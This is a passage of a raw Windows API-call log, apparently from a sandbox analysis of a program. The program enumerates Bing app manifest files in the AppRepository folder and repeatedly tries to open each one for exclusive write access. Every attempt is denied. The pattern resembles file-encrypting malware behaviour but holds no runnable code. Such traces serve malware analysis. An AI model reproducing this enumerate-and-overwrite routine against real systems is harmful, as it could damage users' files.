	[0090.550] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c06024, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf1c06024, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf1c06024, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x65eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MI8EAA~1.XML")) returned 1
	[0090.550] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.550] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.550] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477df50
	[0090.550] wcscpy (in: _Dest=0x477df50, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.550] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.550] wcscat (in: _Dest=0x477df50, _Source="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.550] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.551] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.551] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.551] GetLastError () returned 0x5
	[0090.551] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.551] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1fbfb11, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf1fbfb11, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf1fbfb11, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x2072, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml", cAlternateFileName="MIE223~1.XML")) returned 1
	[0090.551] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.551] wcscmp (_String1="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e113f0
	[0090.551] wcscpy (in: _Dest=0x2e113f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.551] wcscat (in: _Dest=0x2e113f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.551] wcscat (in: _Dest=0x2e113f0, _Source="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml"
	[0090.551] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.551] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.551] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.551] GetLastError () returned 0x5
	[0090.551] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.552] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e113f0) returned 1
	[0090.552] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4270832, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd4270832, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd4270832, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", cAlternateFileName="MI29A4~1.XML")) returned 1
	[0090.552] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.552] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.552] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c9a8
	[0090.552] wcscpy (in: _Dest=0x491c9a8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.552] wcscat (in: _Dest=0x491c9a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.552] wcscat (in: _Dest=0x491c9a8, _Source="Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"
	[0090.552] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.552] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.552] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.552] GetLastError () returned 0x5
	[0090.552] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.553] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c9a8) returned 1
	[0090.553] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2cdca4e, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf2cdca4e, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf2cdca4e, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x643a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MI61C2~1.XML")) returned 1
	[0090.553] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.553] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12680
	[0090.553] wcscpy (in: _Dest=0x2e12680, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.553] wcscat (in: _Dest=0x2e12680, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.553] wcscat (in: _Dest=0x2e12680, _Source="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.553] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.553] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.553] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.553] GetLastError () returned 0x5
	[0090.553] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.553] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12680) returned 1
	[0090.553] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30702c7, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf30702c7, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf30702c7, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml", cAlternateFileName="MIA5ED~1.XML")) returned 1
	[0090.553] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.553] wcscmp (_String1="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47185c0
	[0090.554] wcscpy (in: _Dest=0x47185c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.554] wcscat (in: _Dest=0x47185c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.554] wcscat (in: _Dest=0x47185c0, _Source="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml"
	[0090.554] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.554] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.554] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.554] GetLastError () returned 0x5
	[0090.554] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.554] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47185c0) returned 1
	[0090.554] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf41b9410, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf41b9410, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf41b9410, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x650b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MI06CF~1.XML")) returned 1
	[0090.554] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.554] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.554] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477df50
	[0090.554] wcscpy (in: _Dest=0x477df50, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.554] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.554] wcscat (in: _Dest=0x477df50, _Source="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.554] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.554] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.555] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.555] GetLastError () returned 0x5
	[0090.555] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.555] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.555] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf46a41c8, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf46a41c8, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf46a41c8, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x2088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml", cAlternateFileName="MI83E9~1.XML")) returned 1
	[0090.555] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.555] wcscmp (_String1="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e113f0
	[0090.555] wcscpy (in: _Dest=0x2e113f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.555] wcscat (in: _Dest=0x2e113f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.555] wcscat (in: _Dest=0x2e113f0, _Source="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml"
	[0090.555] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.555] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.555] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.555] GetLastError () returned 0x5
	[0090.555] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.555] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e113f0) returned 1
	[0090.555] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb74a395d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb74a395d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb74a395d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml", cAlternateFileName="MI9E16~1.XML")) returned 1
	[0090.556] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.556] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776c60
	[0090.556] wcscpy (in: _Dest=0x4776c60, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.556] wcscat (in: _Dest=0x4776c60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.556] wcscat (in: _Dest=0x4776c60, _Source="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"
	[0090.556] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.556] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.556] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.556] GetLastError () returned 0x5
	[0090.556] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.556] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776c60) returned 1
	[0090.556] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76dfcd5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb76dfcd5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb76dfcd5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml", cAlternateFileName="MIEDB5~1.XML")) returned 1
	[0090.556] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.556] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778060
	[0090.556] wcscpy (in: _Dest=0x4778060, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.556] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
